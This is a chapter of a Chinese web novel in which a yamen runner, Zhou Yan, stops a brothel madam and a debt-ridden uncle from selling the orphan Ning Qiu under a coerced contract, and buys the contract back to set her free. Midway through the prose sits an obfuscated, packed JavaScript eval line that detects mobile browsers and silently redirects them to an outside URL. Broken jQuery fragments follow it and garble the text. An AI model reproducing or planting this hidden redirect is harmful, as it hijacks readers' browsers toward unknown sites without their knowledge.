周砚这话一出，现场哗然。


    宁秋闻声呆呆地望过去，脑子里如同被灌满了浆糊，黏腻浑浊，将她的思路凝结在绝望之中无法自拔。


    她尝试着思考事情的发展趋势，却因思维混沌，脑子压根周转不了。


    在场邻居自动自觉往边上站，给周砚让出一条路来。


    看着越走越近的高大青年，杨妈妈的目光不自觉随着他而动，双眸越来越亮。


    她今年不过三十有五，风韵犹存，干这行那么多年，看男人的眼光一向很准。


    只一眼，她就相中了周砚，若能跟此等品相的恩客春风一度，也算是没白活。


    “公子说笑了，什么先来后到奴家不清楚，奴家本本分分做生意，手中可是有契书的。”


    杨妈妈袅袅娜娜迎向周砚，眼波流转，说话间，手已悄悄朝周砚结实的胸膛摸过去，即将触碰到衣裳之际，被反应过来的周砚一巴掌拍开。


    “啪”的一声响，在场的人都听见了。


    周砚还是第一次遇到这种情况，厌恶地皱紧眉头，看向杨妈妈的眼神中一片冰凉。


    他下手又快又狠，一点力道都没有收，杨妈妈只觉得手背火辣辣的疼，低头一看，被打的位置通红一片，隐隐有肿起的迹象，顿时气不打一处来。


    想她混迹青楼三十年，而后承蒙东家看重让她做了伊春楼的总掌事，楼中人多眼杂，什么三教九流，富户官员她都认识，对付起男人来，还没几个能顶得住，也从未有人如此不将她放在眼里，脸面都因那一巴掌丢尽了。


    “我劝你老实点，别动不该有的心思。”


    周砚目光如炬，不遮不掩，一字一句叙说自己的不满，又一次将杨妈妈的脸面狠狠踩在脚下。


    紧接着又听他道：“按照大齐律法，凡是涉及人身买卖的案子必须公开透明，良籍入贱籍和奴籍者必须经由双亲首肯，本人同意，第三方见证才能签契换籍，试问这位......夫人，你手中的契书可附和这一点？”


    “你......那是自然。”


    杨妈妈强忍心中的怒火，咬死了签契合规合矩，还朝庞桥使了个眼色。


    庞桥立马上前附和道：“是啊，周贤侄，三舅哥过世之前曾给内子写过一封托孤信，让我们给秋丫头寻个好去处，你放心，秋丫头也是同意的，我们是一家人，还能害她不成？”


    周庞两家邻居那么多年，彼此间多少有一点了解，为人品性皆心知肚明。


    庞桥此时心虚不已，压根不敢与周砚对视，但是他太需要这笔银子了，没有后路可退，只能硬着头皮努力促成这桩上不得台面的生意。


    “哦？是吗？”周砚冷笑一声，显然是不相信。


    “那是自然，秋丫头是内子的亲侄女，打断关系还连着筋，一笔写不出两个宁字。”


    庞桥一把将宁巧娘扯过来，皮笑肉不笑地问道：“是吧？媳妇。”


    “是......是。”


    宁巧娘点头附和，紧张地攥住衣摆。


    夫妻两一唱一和，还真当大家伙是傻子了？


    没等周砚开口，就有看不过眼的邻居嘲讽道：“你们两口子还真敢说，不怕小姑娘的爹娘半夜回来找你们吗？”


    “就是就是。”


    “人家好好的闺女到你们家两天就挨打的满身伤，连夜逃出去，就这，你们还好意思说对人好，好个屁。”


    “还亲姑姑亲姑父嘞，都要把人家卖去腌臜地了，还有脸说为了人家好，咋的，你们实在想男人想女人，耐不住寂寞，就卖自己啊！祸害人家好好的小姑娘，呸，真不要脸。”


    “跟你们这种人住同一条巷子，我们都觉得丢脸。”


    议论谩骂声一句接一句进入庞桥等人的耳中，邻居们熟悉的脸上全是鄙夷，目光汇集过来，如同地狱里惩罚罪恶的鞭子，一下又一下抽到他们的身上。


    让他们惶恐，让他们不安。


    就在这时，周砚又一次开口了。


    “验证你们所言真假很简单，问一问当事人就知道了。鄙人不才，在府衙当差见过不少审讯手段，诸位若是有异议，我们也可动身去往府衙，将此事交由大人定夺，如何？”


    周砚这话明摆着没给商量的余地，要么按他所说解决，要么大家伙一块去见官。


    邻居们闻言也纷纷支援，开口附和，将事情定性抬上一个新的高度。


    杨妈妈也是这时候才知道周砚在府衙当差，当即生吞活剥庞桥的心都有了。


    青楼经营在大齐国属于灰色产业，来钱快，但争议颇多，身上有官职或者在意名声的人都会远离亦或是暗地里交易。


    伊春楼背后的靠山也不小，但不能摆到明面上来。


    杨妈妈不怕周砚一个小小捕快，她怕事情闹大惹来不必要的麻烦。


    权衡利弊之下，她勉强扯出一抹笑容，用调侃的口吻回道：“小哥说的哪里话，一点小事我们商量着就能解决好，不必叨扰知府大人了。庞管事是我们楼里的老客户，奴家也是信任他才过来，嗐，怪奴家没提前调查清楚，闹了个大乌龙。”


    杨妈妈举起手中的契书，三下五除二撕成碎片全撒地上，然后果决道：“都是误会，契书已撕，不成买卖。”


    她顿了顿，看看庞桥又看看周砚，问道：“签契时奴家付了十五两银子，现在买卖不成，银钱你们二人谁来给？”


    庞桥不语，将怀中的钱袋子抱得更紧了。


    “小哥你来付？如果奴家没听错的话，方才小哥说要出二十两，不知是否还作数？”


    杨妈妈娇笑一声，这会儿还惦记着白跑一趟能捞一点是一点。


    周砚没接杨妈妈的话，而是将目光转向庞桥，那眼神什么意思再清楚不过了。


    庞桥心中不愿，低着头让人看不清表情，实则老鼠眼疯狂转动，思考着下一步对策。


    巨额赌债如同一把刀时刻悬挂在他的头上，手中的每一个铜板对于现在的他来说，跟性命一样重要，让他交出去绝对不可能。


    他左思右想，最终梗着脖子道：“谁说买卖不成了？契书一式两份，我手里还有一份，上面白纸黑字写的清清楚楚，秋丫头也画了押，银钱归我，人归伊春楼，就算去到公堂，我们也占理，哪能说反悔就反悔？”


    签契的时候在庞家里面，大门紧闭，宁秋是自愿还是被迫真没外人看见，人证不成立，物证又是那张契书，明显对宁秋不利，真要掰扯起来，还真不好界定。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561828|171183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    即便是宁秋否认自愿卖身这件事，庞家人也能狡辩成宁秋事后反悔，当时是同意的。


    至于宜春楼的人能不能做人证，八成也指望不上，干那行背地里不知有多少肮脏交易，出于利益考量，对方也不可能同意作证。


    周砚面露不悦，拧成川字的眉头反映了他当下的烦扰，若非身份不允许，真想即刻将庞桥暴打一顿，再拎着他的衣领好好问一问钱该谁出？


    “周贤侄，即便你是官差也不能不讲理，欺负我们小老百姓啊？”


    庞桥装出一副为难的样子，开口就是倒打一耙。


    周砚看着对方小人得志的模样沉思片刻，而后对杨妈妈道：“银子我给你，但另一张契书需要你代为拿回来当场撕碎，你可愿意？”


    “小事一桩，自是可以。”杨妈妈乐得结个善缘，毫不犹豫应下了。


    周砚转身进家门，去而复返，将手中的十五两银子递给杨妈妈，杨妈妈也上道，当即命人夺过庞桥手中的契书撕了粉碎。


    “契书已撕，这里也没奴家什么事，奴家先走了，欢迎大家伙有空去伊春楼坐坐，咱们楼里的姑娘个顶个的水灵。”


    杨妈妈娇笑着，在老婶子小媳妇鄙夷的目光下带着自己的手下扭着腰肢离开了。


    邻居们见没有热闹可瞧，也三三两两回了家。


    周砚轻叹一声，抬脚走向坐在墙角处目光呆滞的姑娘，站在她的面前，缓缓伸出宽厚的手掌。


    宁秋一愣，茫然地抬起头，也不知是不是魂丢在困境之中了，眼神中依旧绝望，没有半分脱离危险的愉悦，双目通红，泪水将落未落，看得人心中发堵，有种难以言说的感觉。


    “没事了，都过去了。”


    周砚保持伸手的动作，尽量将声音放柔一些，“我花钱是为了快速解决麻烦，断绝后患，不是真的要买你，你依旧是自由的。我也没打算要你还钱，只当做了件好事，积福德，今后你好好生活，好好过日子就行。”


    顿了顿，周砚见宁秋依旧没什么反应，想到几次接触下来姑娘坚韧独立的性子，犹豫一下，试探性问道：“你若是觉得亏欠，不想受我这份好也可以攒钱还我，都随你。”


    这时，宁秋脑中的混沌褪去，刚才发生的一幕幕也被她梳理清楚，面上神色终于有了反应。


    她的手缓缓搭上周砚的掌心，借着他的力道重新站稳，二人面对面站着，不动声色观察彼此的反应。


    过了好一会儿，宁秋挤出一抹笑，郑重的向周砚道谢，“周大哥，今日若是没有你，我恐怕就没有以后了，多谢你！这份恩情我一定会铭记于心，以后好好报答你。”


    周砚的每一句话她都听进心里了，道谢报恩也是她此时此刻最诚挚的意愿。


    “其实你不必如此，就算没有我周砚，也会有李砚、王砚，路见不平，总会有人愿意拔刀相助。”


    周砚不懂如何与姑娘交往，说话干巴巴的，想哄人，奈何实力不允许，严肃冷漠的脸加干巴巴的话，很容易被人误会成在敷衍。


    宁秋闻言笑笑，不置可否，下一瞬她不知想到了什么，突然没头没脑接一句，道：“周大哥你说的对，确实需要拔刀。”


    周砚：嗯？？？？